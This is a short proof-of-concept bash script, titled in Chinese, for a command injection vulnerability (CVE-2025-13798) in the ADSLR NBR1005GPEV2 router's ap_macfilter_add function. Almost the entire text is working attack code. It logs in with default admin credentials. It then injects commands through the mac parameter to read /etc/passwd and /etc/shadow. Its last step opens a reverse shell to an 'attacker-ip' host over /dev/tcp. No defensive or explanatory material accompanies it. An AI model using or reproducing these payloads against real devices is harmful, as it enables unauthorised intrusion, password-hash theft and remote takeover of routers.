CVE-2025-13798: ADSLR NBR1005GPEV2路由器ap_macfilter_add命令注入漏洞

#!/bin/bash # CVE-2025-13798 PoC - ADSLR NBR1005GPEV2 Command Injection # Affected: /send_order.cgi ap_macfilter_add function # Auth: Low privilege required TARGET="http://target-router-ip" USERNAME="admin" PASSWORD="admin" # Login to get session cookie COOKIES=$(curl -s -c - -d "username=$USERNAME&password=$PASSWORD" "$TARGET/login.cgi" | grep -i cookie) # Command injection via mac parameter # Using semicolon to chain commands echo "[*] Sending malicious mac parameter..." curl -v -X POST "$TARGET/send_order.cgi" \ -H "Cookie: $COOKIES" \ -d "func=ap_macfilter_add&mac=00:11:22:33:44:55;cat /etc/passwd" # Alternative: Using backticks for command substitution echo "[*] Attempting with backticks..." curl -v -X POST "$TARGET/send_order.cgi" \ -H "Cookie: $COOKIES" \ -d "func=ap_macfilter_add&mac=00:11:22:33:44:55;`cat /etc/shadow`" # Reverse shell payload example echo "[*] Deploying reverse shell..." curl -v -X POST "$TARGET/send_order.cgi" \ -H "Cookie: $COOKIES" \ -d "func=ap_macfilter_add&mac=00:11:22:33:44:55;bash -i >& /dev/tcp/attacker-ip/4444 0>&1"